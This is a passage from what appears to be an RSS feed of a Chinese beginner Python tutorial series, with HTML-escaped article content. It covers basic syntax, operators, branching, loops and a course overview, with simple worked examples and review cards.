A：&lt;code&gt;remove(值)&lt;/code&gt; 按值删除；&lt;code&gt;pop(索引)&lt;/code&gt; 删除并&lt;strong&gt;返回&lt;/strong&gt;该元素（默认末尾）；&lt;code&gt;del list[i]&lt;/code&gt; 按索引删除且不返回。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q4：&lt;code&gt;sort()&lt;/code&gt; 和 &lt;code&gt;sorted()&lt;/code&gt; 区别？&lt;/strong&gt;
A：&lt;code&gt;sort()&lt;/code&gt; 是列表方法，&lt;strong&gt;原地&lt;/strong&gt;排序返回 None；&lt;code&gt;sorted()&lt;/code&gt; 是内置函数，返回&lt;strong&gt;新列表&lt;/strong&gt;，且适用于任何可迭代对象。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q5：字典是有序的吗？&lt;/strong&gt;
A：Python &lt;strong&gt;3.7+&lt;/strong&gt; 字典保证按插入顺序遍历（3.6 是实现细节）。之前的版本无序，需有序要用 &lt;code&gt;collections.OrderedDict&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q6：为什么集合的 &lt;code&gt;in&lt;/code&gt; 判断比列表快？&lt;/strong&gt;
A：集合基于哈希表，&lt;code&gt;in&lt;/code&gt; 是 O(1)；列表是逐个比较，O(n)。频繁做成员判断时优先用集合。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;五大结构速记&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;列表&lt;/strong&gt;：可变有序，&lt;code&gt;append/insert/remove/pop/sort&lt;/code&gt;，生成式 &lt;code&gt;[x for x in ...]&lt;/code&gt;，切片 &lt;code&gt;[start:stop:step]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;元组&lt;/strong&gt;：不可变，&lt;code&gt;(1,)&lt;/code&gt; 单元素要加逗号，&lt;code&gt;a,b = b,a&lt;/code&gt; 解包交换，可作字典键&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;字符串&lt;/strong&gt;：不可变，&lt;code&gt;split/join/replace/strip/find&lt;/code&gt;，&lt;code&gt;encode/decode&lt;/code&gt; 转字节，f-string 格式化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;集合&lt;/strong&gt;：无序去重，&lt;code&gt;&amp;amp; | - ^&lt;/code&gt; 交并差对称差，&lt;code&gt;in&lt;/code&gt; 是 O(1)，&lt;code&gt;{}&lt;/code&gt; 是空字典不是空集合&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;字典&lt;/strong&gt;：键值对，&lt;code&gt;get()&lt;/code&gt; 安全取值，&lt;code&gt;items()&lt;/code&gt; 遍历，3.7+ 保持插入序&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;切片通用&lt;/strong&gt;：&lt;code&gt;[左闭:右开:步长]&lt;/code&gt;，&lt;code&gt;[::-1]&lt;/code&gt; 反转&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;去重&lt;/strong&gt;：&lt;code&gt;list(set(x))&lt;/code&gt;；&lt;strong&gt;统计&lt;/strong&gt;：&lt;code&gt;collections.Counter&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;推导式&lt;/strong&gt;：列表 &lt;code&gt;[]&lt;/code&gt;、字典 &lt;code&gt;{k:v}&lt;/code&gt;、集合 &lt;code&gt;{}&lt;/code&gt;、生成器 &lt;code&gt;()&lt;/code&gt; 都支持&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/python-roadmap-03-function-oop/&quot;&gt;函数、模块与面向对象&lt;/a&gt; 将讲解函数定义与参数、高阶函数、Lambda、装饰器、递归，以及面向对象编程（类、对象、继承、多态）。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/python-roadmap-00-overview/&quot;&gt;Python 学习路线总览&lt;/a&gt; | &lt;a href=&quot;/blog/python-roadmap/&quot;&gt;合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>初识 Python 与基础语法</title><link>http://117.72.32.87/blog/posts/python-roadmap-01-python-basics/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/python-roadmap-01-python-basics/</guid><description>Python 入门第一步：语言简介与环境安装、变量与类型、运算符、分支结构（if/match）、循环结构（for/while），配套温度转换、判断闰年、猜数字等经典小例子。</description><pubDate>Fri, 18 Sep 2026 01:30:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文对应仓库 &lt;strong&gt;Day01~07&lt;/strong&gt;：从认识 Python、搭建环境开始，掌握变量、运算符、分支、循环这些最基础的构件。这是整个学习路线的地基，务必动手把每个例子都敲一遍。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;一、初识 Python&lt;/h2&gt;
&lt;h3&gt;Python 的优缺点&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;优点&lt;/th&gt;
&lt;th&gt;缺点&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;语法简洁、可读性强（&quot;优雅&quot;&quot;明确&quot;）&lt;/td&gt;
&lt;td&gt;运行速度较慢（解释型语言）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;学习曲线低，非专业人士也能上手&lt;/td&gt;
&lt;td&gt;代码无法加密（源码可见）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;开源、生态强大（第三方库丰富）&lt;/td&gt;
&lt;td&gt;线程无法利用多核 CPU（GIL 全局解释器锁）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;跨平台、可移植性好&lt;/td&gt;
&lt;td&gt;移动端开发较弱&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;支持面向对象 + 函数式编程&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;安装环境&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Windows：从 python.org 下载安装包
# 安装时务必勾选 &quot;Add Python to PATH&quot;！

# macOS
brew install python

# Linux（Debian/Ubuntu）
sudo apt update &amp;amp;&amp;amp; sudo apt install python3 python3-pip

# 验证
python --version      # Python 3.10+
pip --version
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;第一个程序&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# hello.py
print(&quot;Hello, World!&quot;)          # 输出到控制台

# 运行方式
# 1. 命令行：python hello.py
# 2. 交互式：python 进入 REPL，逐行输入
# 3. IDE：VS Code / PyCharm 点击运行
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;注释&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 单行注释：以 # 开头

&quot;&quot;&quot;
多行注释 / 文档字符串：
用三个单引号或双引号包裹
常用作函数、模块的说明文档（docstring）
&quot;&quot;&quot;

print(&quot;代码&quot;)  # 行尾注释
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;二、变量和类型&lt;/h2&gt;
&lt;h3&gt;变量的使用&lt;/h3&gt;
&lt;p&gt;Python 是&lt;strong&gt;动态类型&lt;/strong&gt;语言，变量不需要声明类型，赋值即创建：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 变量命名规则：字母/数字/下划线组成，不能以数字开头，不能用关键字
a = 100              # int 整数
b = 3.14             # float 浮点数
c = True             # bool 布尔
s = &quot;Hello&quot;          # str 字符串
n = None             # NoneType 空值

# 查看类型
print(type(a))       # &amp;lt;class &apos;int&apos;&amp;gt;
print(type(b))       # &amp;lt;class &apos;float&apos;&amp;gt;
print(type(s))       # &amp;lt;class &apos;str&apos;&amp;gt;

# 动态类型：同一变量可重新赋不同类型
a = &quot;now a string&quot;
print(type(a))       # &amp;lt;class &apos;str&apos;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;类型转换&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# int() / float() / str() / bool()
x = int(&quot;123&quot;)       # 字符串 → 整数：123
y = float(&quot;3.14&quot;)    # 字符串 → 浮点：3.14
z = str(100)         # 整数 → 字符串：&quot;100&quot;
print(int(3.99))     # 浮点 → 整数（直接截断）：3
print(bool(0))       # → False（0、空串、None 都是 False）
print(bool(&quot;&quot;))      # → False

# 输入（从键盘读入，永远是字符串）
name = input(&quot;请输入你的名字：&quot;)
age = int(input(&quot;请输入年龄：&quot;))   # 需手动转换类型
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;变量命名规范（PEP 8）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# ✅ 推荐：小写字母 + 下划线（snake_case）
user_name = &quot;Ethan&quot;
max_retry_count = 3

# ✅ 常量：全大写
PI = 3.14159
MAX_SIZE = 100

# ❌ 避免：驼峰命名（Python 不用）、无意义单字母（循环变量除外）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;三、运算符&lt;/h2&gt;
&lt;h3&gt;算术运算符&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;a, b = 7, 2
print(a + b)     # 加：9
print(a - b)     # 减：5
print(a * b)     # 乘：14
print(a / b)     # 除（结果是 float）：3.5
print(a // b)    # 整除（向下取整）：3
print(a % b)     # 取余（模）：1
print(a ** b)    # 幂运算：49
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
&lt;code&gt;/&lt;/code&gt; 永远返回 float（&lt;code&gt;4 / 2 = 2.0&lt;/code&gt;），要整数结果用 &lt;code&gt;//&lt;/code&gt;。负数整除是&lt;strong&gt;向下取整&lt;/strong&gt;：&lt;code&gt;-7 // 2 = -4&lt;/code&gt;（不是 -3）。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;赋值运算符&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;x = 10
x += 5    # x = x + 5  → 15
x -= 3    # x = x - 3  → 12
x *= 2    # x = x * 2  → 24
x /= 4    # x = x / 4  → 6.0
x //= 2   # 整除赋值
x %= 4    # 取余赋值
x **= 2   # 幂赋值

# Python 没有 ++ / --，用 x += 1 / x -= 1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;比较与逻辑运算符&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 比较运算符：== != &amp;gt; &amp;lt; &amp;gt;= &amp;lt;=，结果是 bool
print(3 == 3)     # True
print(3 != 4)     # True

# 逻辑运算符：and（与）or（或）not（非）
age = 20
print(age &amp;gt;= 18 and age &amp;lt; 60)   # True
print(age &amp;lt; 12 or age &amp;gt; 65)     # False
print(not (age &amp;gt;= 18))          # False

# 短路特性：and 前为 False 就不算后面；or 前为 True 就不算后面
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;应用示例&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 例1：华氏温度转摄氏温度  C = (F - 32) / 1.8
f = float(input(&quot;请输入华氏温度：&quot;))
c = (f - 32) / 1.8
print(f&quot;{f}°F = {c:.1f}°C&quot;)     # f-string 格式化，保留 1 位小数

# 例2：计算圆的周长和面积
import math
r = float(input(&quot;请输入半径：&quot;))
print(f&quot;周长 = {2 * math.pi * r:.2f}&quot;)
print(f&quot;面积 = {math.pi * r ** 2:.2f}&quot;)

# 例3：判断闰年（能被4整除但不能被100整除，或能被400整除）
year = int(input(&quot;请输入年份：&quot;))
is_leap = (year % 4 == 0 and year % 100 != 0) or year % 400 == 0
print(f&quot;{year} 是闰年吗？{is_leap}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;四、分支结构&lt;/h2&gt;
&lt;h3&gt;if / elif / else&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;score = int(input(&quot;请输入成绩：&quot;))

if score &amp;gt;= 90:
    grade = &quot;优秀&quot;
elif score &amp;gt;= 80:
    grade = &quot;良好&quot;
elif score &amp;gt;= 60:
    grade = &quot;及格&quot;
else:
    grade = &quot;不及格&quot;

print(f&quot;等级：{grade}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
Python 用&lt;strong&gt;缩进&lt;/strong&gt;（4 个空格）表示代码块，没有 &lt;code&gt;{}&lt;/code&gt;。冒号 &lt;code&gt;:&lt;/code&gt; 后必须换行缩进，缩进不一致会报 &lt;code&gt;IndentationError&lt;/code&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;三元表达式（条件运算）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;age = 20
status = &quot;成年&quot; if age &amp;gt;= 18 else &quot;未成年&quot;
print(status)     # 成年

# 分段函数求值
x = 5
if x &amp;gt; 1:
    y = 3 * x - 5
elif x &amp;gt;= -1:
    y = x + 2
else:
    y = 5 * x + 3
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;match / case（Python 3.10+ 结构化模式匹配）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 类似其他语言的 switch，但更强大
command = input(&quot;请输入命令：&quot;)
match command:
    case &quot;start&quot;:
        print(&quot;启动&quot;)
    case &quot;stop&quot; | &quot;quit&quot;:        # 多值匹配（或）
        print(&quot;停止&quot;)
    case &quot;restart&quot;:
        print(&quot;重启&quot;)
    case _:                       # 默认分支（相当于 default）
        print(&quot;未知命令&quot;)

# 可解构数据结构
point = (0, 5)
match point:
    case (0, 0):
        print(&quot;原点&quot;)
    case (0, y):
        print(f&quot;在 Y 轴上，y={y}&quot;)
    case (x, 0):
        print(f&quot;在 X 轴上，x={x}&quot;)
    case (x, y):
        print(f&quot;普通点 ({x}, {y})&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;实战：计算三角形周长和面积（海伦公式）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import math
a, b, c = 3, 4, 5

# 先判断能否构成三角形（任意两边之和大于第三边）
if a + b &amp;gt; c and a + c &amp;gt; b and b + c &amp;gt; a:
    perimeter = a + b + c
    p = perimeter / 2
    area = math.sqrt(p * (p - a) * (p - b) * (p - c))  # 海伦公式
    print(f&quot;周长 = {perimeter}, 面积 = {area:.2f}&quot;)
else:
    print(&quot;无法构成三角形&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;五、循环结构&lt;/h2&gt;
&lt;h3&gt;for-in 循环&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 遍历 range（最常用）
for i in range(5):          # 0,1,2,3,4
    print(i)

for i in range(1, 6):       # 1,2,3,4,5（左闭右开）
    print(i)

for i in range(0, 10, 2):   # 0,2,4,6,8（步长为 2）
    print(i)

# 遍历序列
for ch in &quot;Python&quot;:
    print(ch)

for item in [1, 2, 3]:
    print(item)

# 求和
total = 0
for n in range(1, 101):
    total += n
print(f&quot;1 到 100 的和 = {total}&quot;)   # 5050
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;while 循环&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 当条件为真时循环
count = 0
while count &amp;lt; 5:
    print(count)
    count += 1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;break 和 continue&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# break：跳出整个循环
for i in range(10):
    if i == 5:
        break           # i=5 时结束循环
    print(i)            # 输出 0,1,2,3,4

# continue：跳过本次，进入下一轮
for i in range(10):
    if i % 2 == 0:
        continue        # 偶数跳过
    print(i)            # 输出 1,3,5,7,9
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;嵌套循环&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 九九乘法表
for i in range(1, 10):
    for j in range(1, i + 1):
        print(f&quot;{j}×{i}={i*j}&quot;, end=&quot;\t&quot;)   # end=&quot;\t&quot; 制表符分隔，不换行
    print()                                  # 内层结束换行
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;循环实战例子&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 例1：判断素数（只能被 1 和自己整除）
num = int(input(&quot;请输入一个正整数：&quot;))
is_prime = num &amp;gt; 1
for i in range(2, int(num ** 0.5) + 1):   # 只需检查到平方根
    if num % i == 0:
        is_prime = False
        break
print(f&quot;{num} 是素数吗？{is_prime}&quot;)

# 例2：斐波那契数列（1 1 2 3 5 8 13...）
n = 10
a, b = 0, 1
for _ in range(n):
    print(b, end=&quot; &quot;)
    a, b = b, a + b       # 同时赋值（交换）

# 例3：水仙花数（各位数字立方和等于自身，如 153=1³+5³+3³）
for num in range(100, 1000):
    low = num % 10              # 个位
    mid = num // 10 % 10        # 十位
    high = num // 100           # 百位
    if low ** 3 + mid ** 3 + high ** 3 == num:
        print(num)              # 153, 370, 371, 407

# 例4：百钱百鸡（公鸡5元/母鸡3元/小鸡1元3只，100元买100只）
for x in range(0, 21):          # 公鸡最多 20 只
    for y in range(0, 34):      # 母鸡最多 33 只
        z = 100 - x - y         # 小鸡数量
        if z % 3 == 0 and 5 * x + 3 * y + z // 3 == 100:
            print(f&quot;公鸡{x}只, 母鸡{y}只, 小鸡{z}只&quot;)

# 例5：猜数字游戏
import random
answer = random.randint(1, 100)
count = 0
while True:
    count += 1
    guess = int(input(&quot;请输入你猜的数字：&quot;))
    if guess &amp;gt; answer:
        print(&quot;大了&quot;)
    elif guess &amp;lt; answer:
        print(&quot;小了&quot;)
    else:
        print(f&quot;恭喜猜对！你一共猜了 {count} 次&quot;)
        break
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;常见问题 Q&amp;amp;A&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q1：Python 2 和 Python 3 该学哪个？&lt;/strong&gt;
A：毫无疑问学 &lt;strong&gt;Python 3&lt;/strong&gt;。Python 2 已于 2020 年停止维护，本系列全部基于 Python 3.10+。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q2：缩进到底用几个空格？能用 Tab 吗？&lt;/strong&gt;
A：官方规范 PEP 8 要求 &lt;strong&gt;4 个空格&lt;/strong&gt;。不要混用 Tab 和空格（会报 &lt;code&gt;TabError&lt;/code&gt;）。IDE 一般会把 Tab 自动转成空格。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q3：&lt;code&gt;/&lt;/code&gt; 和 &lt;code&gt;//&lt;/code&gt; 有什么区别？&lt;/strong&gt;
A：&lt;code&gt;/&lt;/code&gt; 是真除法，结果永远是 float（&lt;code&gt;7/2=3.5&lt;/code&gt;）；&lt;code&gt;//&lt;/code&gt; 是整除（向下取整），&lt;code&gt;7//2=3&lt;/code&gt;、&lt;code&gt;-7//2=-4&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q4：&lt;code&gt;input()&lt;/code&gt; 拿到的是什么类型？&lt;/strong&gt;
A：永远是 &lt;strong&gt;字符串 str&lt;/strong&gt;。要做数学运算必须先用 &lt;code&gt;int()&lt;/code&gt; 或 &lt;code&gt;float()&lt;/code&gt; 转换，否则会拼接或报错。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q5：&lt;code&gt;range(5)&lt;/code&gt; 包含 5 吗？&lt;/strong&gt;
A：不包含。&lt;code&gt;range(5)&lt;/code&gt; 是 0~4（左闭右开）。&lt;code&gt;range(1, 6)&lt;/code&gt; 是 1~5。这是 Python 的通用约定（切片同理）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q6：什么是 f-string？&lt;/strong&gt;
A：Python 3.6+ 的字符串格式化方式，在引号前加 &lt;code&gt;f&lt;/code&gt;，用 &lt;code&gt;{}&lt;/code&gt; 嵌入变量或表达式：&lt;code&gt;f&quot;{name} is {age}&quot;&lt;/code&gt;。可以控制精度 &lt;code&gt;{x:.2f}&lt;/code&gt;、对齐、百分比等，是目前最推荐的写法。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;本篇速记&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;动态类型&lt;/strong&gt;：变量赋值即创建，用 &lt;code&gt;type()&lt;/code&gt; 查看类型，可随时改类型&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;基本类型&lt;/strong&gt;：int / float / bool / str / NoneType&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;除法陷阱&lt;/strong&gt;：&lt;code&gt;/&lt;/code&gt; 得 float，&lt;code&gt;//&lt;/code&gt; 整除向下取整，&lt;code&gt;%&lt;/code&gt; 取余，&lt;code&gt;**&lt;/code&gt; 幂&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;分支&lt;/strong&gt;：&lt;code&gt;if/elif/else&lt;/code&gt;；Python 3.10+ 有 &lt;code&gt;match/case&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;循环&lt;/strong&gt;：&lt;code&gt;for-in&lt;/code&gt;（配 &lt;code&gt;range&lt;/code&gt;）、&lt;code&gt;while&lt;/code&gt;；&lt;code&gt;break&lt;/code&gt; 跳出、&lt;code&gt;continue&lt;/code&gt; 跳过&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;缩进即代码块&lt;/strong&gt;：4 个空格，冒号后换行缩进&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;input() 返回 str&lt;/strong&gt;：运算前必须 &lt;code&gt;int()&lt;/code&gt;/&lt;code&gt;float()&lt;/code&gt; 转换&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;f-string&lt;/strong&gt;：&lt;code&gt;f&quot;{表达式}&quot;&lt;/code&gt; 是首选格式化方式&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;交换变量&lt;/strong&gt;：&lt;code&gt;a, b = b, a&lt;/code&gt;（无需临时变量）&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/python-roadmap-02-data-structures/&quot;&gt;常用数据结构&lt;/a&gt; 将讲解 Python 五大核心数据结构——列表、元组、字符串、集合、字典，这是日常编程用得最多的部分。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/python-roadmap-00-overview/&quot;&gt;Python 学习路线总览&lt;/a&gt; | &lt;a href=&quot;/blog/python-roadmap/&quot;&gt;合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Python 学习路线总览</title><link>http://117.72.32.87/blog/posts/python-roadmap-00-overview/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/python-roadmap-00-overview/</guid><description>Python 100 天从新手到大师学习路线总览：从语言基础、数据结构、面向对象、文件处理，到 MySQL、Django、爬虫、数据分析、机器学习、项目实战的完整学习路径。</description><pubDate>Fri, 18 Sep 2026 01:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本系列基于骆昊(jackfrued)的经典开源教程 &lt;strong&gt;《Python - 100天从新手到大师》&lt;/strong&gt;（GitHub 18万+ Star）整理，共 &lt;strong&gt;16 篇文章&lt;/strong&gt;（总览 + 15 专题），把 100 天的内容按 10 大阶段重新编排为复习友好的博客系列。&lt;/p&gt;
&lt;p&gt;面向零基础初学者，也适合有其他语言基础想快速上手 Python、或从后端/爬虫/数据科学某一方向切入的开发者。&lt;/p&gt;
&lt;p&gt;学习路径：&lt;strong&gt;语言基础 → 办公与进阶 → 数据库与 Web → 爬虫 → 数据科学与机器学习 → 项目实战&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;Python 应用领域与就业方向&lt;/h2&gt;
&lt;p&gt;Python 是一门&quot;优雅、明确、简单&quot;的语言：学习曲线低、生态强大、跨平台、支持面向对象与函数式编程、可读性强。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;应用领域&lt;/th&gt;
&lt;th&gt;常搭配的语言&lt;/th&gt;
&lt;th&gt;对应岗位&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;后端开发&lt;/td&gt;
&lt;td&gt;Python / Java / Go&lt;/td&gt;
&lt;td&gt;Python 后端开发工程师&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DevOps&lt;/td&gt;
&lt;td&gt;Python / Shell&lt;/td&gt;
&lt;td&gt;运维工程师 / SRE&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;数据采集&lt;/td&gt;
&lt;td&gt;Python / C++&lt;/td&gt;
&lt;td&gt;爬虫工程师（作者注：不推荐此赛道）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;量化交易&lt;/td&gt;
&lt;td&gt;Python / C++ / R&lt;/td&gt;
&lt;td&gt;量化开发工程师&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;数据科学&lt;/td&gt;
&lt;td&gt;Python / R / Julia&lt;/td&gt;
&lt;td&gt;数据分析师 / 数据科学家&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;机器学习&lt;/td&gt;
&lt;td&gt;Python / C++&lt;/td&gt;
&lt;td&gt;算法工程师&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;自动化测试&lt;/td&gt;
&lt;td&gt;Python / Shell&lt;/td&gt;
&lt;td&gt;测试开发工程师&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;作者观点：&lt;strong&gt;数据科学是当前最热门的赛道&lt;/strong&gt;，各行各业积累了大量数据，都需要从数据中发现商业价值、支撑决策（数据驱动决策）。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;给初学者的 5 条建议：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Make English as your working language.&lt;/strong&gt;（让英语成为你的工作语言）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Practice makes perfect.&lt;/strong&gt;（熟能生巧）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;All experience comes from the mistakes you&apos;ve made.&lt;/strong&gt;（经验源于犯过的错）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Don&apos;t be a freeloader.&lt;/strong&gt;（学会分享，别只当伸手党）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Embrace AI to boost your productivity.&lt;/strong&gt;（拥抱 AI，提升效率）&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;知识地图&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;Python 学习路线（对应仓库 100 天 / 10 阶段）
│
├── 基础篇（Day01~35）
│   ├── 01 初识 Python 与基础语法（环境/变量/运算符/分支/循环）
│   ├── 02 常用数据结构（列表/元组/字符串/集合/字典）
│   ├── 03 函数、模块与面向对象（函数/装饰器/递归/类/继承多态）
│   ├── 04 文件操作与数据交换（文件读写/异常/JSON/CSV/pip）
│   ├── 05 办公自动化与图像处理（Excel/Word/PPT/PDF/图像/邮件）
│   ├── 06 正则表达式与 Linux（正则/Linux 命令/Shell）
│   └── 07 Python 语言进阶（数据结构算法/迭代器生成器/并发编程）
│
├── Web 开发篇（Day36~60）
│   ├── 08 数据库与 MySQL（SQL/索引/Python 接入/Hive）
│   ├── 09 Django 入门（ORM/Ajax/Cookie&amp;amp;Session/中间件）
│   └── 10 Django 进阶与 RESTful（DRF/缓存/Celery/测试/上线）
│
├── 数据采集篇（Day61~65）
│   └── 11 网络爬虫（requests/并发/Selenium/Scrapy）
│
├── 数据科学篇（Day66~90）
│   ├── 12 数据分析：NumPy 与 pandas（数组/Series/DataFrame）
│   ├── 13 数据可视化（matplotlib/seaborn/pyecharts）
│   └── 14 机器学习（kNN/决策树/回归/聚类/集成/神经网络/NLP）
│
└── 实战篇（Day91~100）
    └── 15 项目实战、部署与面试（敏捷/Docker/商业项目/部署/面试）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;文章索引&lt;/h2&gt;
&lt;h3&gt;基础篇&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;编号&lt;/th&gt;
&lt;th&gt;标题&lt;/th&gt;
&lt;th&gt;对应天数&lt;/th&gt;
&lt;th&gt;核心内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;01&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/python-roadmap-01-python-basics/&quot;&gt;初识 Python 与基础语法&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Day01-07&lt;/td&gt;
&lt;td&gt;Python 简介、环境安装、变量与类型、运算符、分支、循环&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;02&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/python-roadmap-02-data-structures/&quot;&gt;常用数据结构&lt;/a&gt;&lt;/td&gt;
